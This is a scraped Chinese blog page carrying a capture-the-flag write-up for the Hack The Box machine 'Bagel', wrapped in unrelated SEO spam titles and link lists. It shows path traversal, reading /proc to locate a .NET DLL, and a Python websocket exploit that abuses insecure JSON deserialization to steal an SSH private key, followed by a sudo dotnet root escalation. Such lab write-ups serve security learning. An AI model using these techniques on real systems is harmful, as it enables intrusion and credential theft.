当前位置: 首页 > news >正文

网站开发电子发票广告素材

网站开发电子发票,广告素材,广德做网站设计开发,普通银行卡可以做国外网站购物信用卡使用吗Bagel 今天我开始了《Red Team Development and Operations A Practical Guide》的学习,保持学习,后面差不多到时机后就学CRTOⅡ Bagel 是一款中等难度的 Linux 机器,其特点是电子商店容易受到路径遍历攻击,通过该攻击可以获取应…

Bagel

今天我开始了《Red Team Development and Operations A Practical Guide》的学习,保持学习,后面差不多到时机后就学CRTOⅡ


Bagel 是一款中等难度的 Linux 机器,其特点是电子商店容易受到路径遍历攻击,通过该攻击可以获取应用程序的源代码。然后,该漏洞用于下载“.NET”WebSocket服务器,该服务器一旦反汇编就会显示纯文本凭据。进一步的分析揭示了一个不安全的反序列化漏洞,该漏洞被用于读取任意文件,包括用户的私钥“SSH”。使用密钥在计算机上获取立足点,之前发现的密码用于透视到另一个用户,该用户可以使用具有“root”权限的“dotnet”工具。此错误配置用于执行恶意的“.NET”应用程序,从而导致权限完全升级。


外部信息收集

端口扫描

循例nmap

file

Web枚举

8000

file

发现这里存在任意文件读取

file

我们可以读取到app.py

file

don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.

这句话向我们提供的信息,我想5000端口就是这个程序

虽然也不是第一次遇到任意文件读取去读/proc下的东西,但是这一台靶机彻底的加深了我的印象

由于它在命令行运行dll的时候需要指定dll文件的路径,所以我们可以通过爆破pid来读取/proc/pid/cmdline,找到那个dll路径,再通过任意文件读取去下载它,然后对dll进行一个反编译

生成数字字典

for i in {1..1000};do echo $i >> ./nums.txt;done

ffuf

file

我在pid 933发现了它

file

/opt/bagel/bin/Debug/net6.0/bagel.dll

curl下下来

file

Foothold

MessageReceived函数将我们发送的json字符串反序列化后,进行了一次序列化,然后返回给客户端。

file

跟踪到Handler,序列化和反序列化函数都使用type 4

file

当类型值为4时,将允许处理程序从序列化数据中推断正确的类型。同时为了能够利用它,我们还能够看到result被指定为Object,否则的话可能会由于类型不一致导致报错。

object result;
...

在看另一个类File

	public class File{// Token: 0x17000007 RID: 7// (get) Token: 0x0600001C RID: 28 RVA: 0x00002400 File Offset: 0x00000600// (set) Token: 0x0600001B RID: 27 RVA: 0x000023DD File Offset: 0x000005DDpublic string ReadFile{get{return this.file_content;}set{this.filename = value;this.ReadContent(this.directory + this.filename);}}// Token: 0x0600001D RID: 29 RVA: 0x00002418 File Offset: 0x00000618public void ReadContent(string path){try{IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);this.file_content += string.Join("\n", values);}catch (Exception ex){this.file_content = "Order not found!";}}

我们能够利用ReadFile属性来进行任意文件读取,原因是当进行反序列化时我们将能够设置ReadFile属性,即设置filename字段,并触发ReadContent(),此时我们还无法获取到文件内容,当再进行一次序列化时,file_content字段这些数据就会被带出来。

import websocket,jsonws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/") # connect to order app
order = {"RemoveOrder":{"$type": "bagel_server.File, bagel",
"ReadFile":"../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)

我们还需要将ReadOrder改为RemoveOrder,这样我们就能不触发ReadOrder过滤…/的ReadFile,而是直接执行由我们指定的ReadFile函数了

运行exp我们能够得到phil的ssh私钥

file

登录ssh

file

本地横向移动 -> developer

前面在DB类里面发现了一组凭据,但遗憾的是developer不能使用密码登录ssh

file

不过我们现在立足后可以在内部使用su

file

本地权限提升

sudo -l

file

轻松的提权

先把bagel的project复制到tmp

file

vim改Program.cs,我这里选择读root flag

file

sudo dotnet run,我们将得到它

file

http://www.mmbaike.com/news/70712.html

相关文章:

  • 学做档案类网站百度快速排名用是
  • 网站更新提示怎末做全球网络营销公司排行榜
  • 网上购物网站建设公司百度关键词优化排名技巧
  • 政府网站建设出现的问题seo网站编辑是做什么的
  • 做个淘宝客网站怎么做的精准营销的三要素
  • 网站推广什么意思培训心得体会500字
  • 网站技术策划内容b2b网站大全免费
  • 在阿里云域名可以做网站吗企业网站快速排名
  • 长沙网站设计公司推荐厦门人才网招聘
  • 做语文高考题网站史上最强大的搜索神器
  • wordpress分享型主题模板下载seo应该怎么做
  • 网站建设主要包括什么杭州网站seo推广
  • 网站被墙 做301跳转国外搜索引擎排名百鸣
  • ps软件需要付费吗深圳百度推广优化
  • 做网站改版的怎么在百度上免费做广告
  • 我想做个旅游网站怎么做网站品牌推广公司
  • 公众号怎么建网站如何让百度收录网址
  • 网站还难做啊长春seo
  • 网站管理助手 无限制版2021百度seo
  • 宁波三盛网络网站建设网络口碑营销
  • 图片做视频在线观看网站百度搜索引擎
  • 网站建设适应全屏如何自动今天最新消息
  • 免费做婚礼邀请函的网站外链论坛
  • 课程资源库网站开发的研究现状自己做网站制作流程
  • 唐河做网站优化排名推广教程网站
  • 咖啡豆网站模板自己开网站怎么开
  • 青海企业网站制作电商seo优化是什么
  • 网站返回404网络营销推广方式案例
  • 龙岗区网站建设关键词搜索站长工具
  • 68设计网安卓手机优化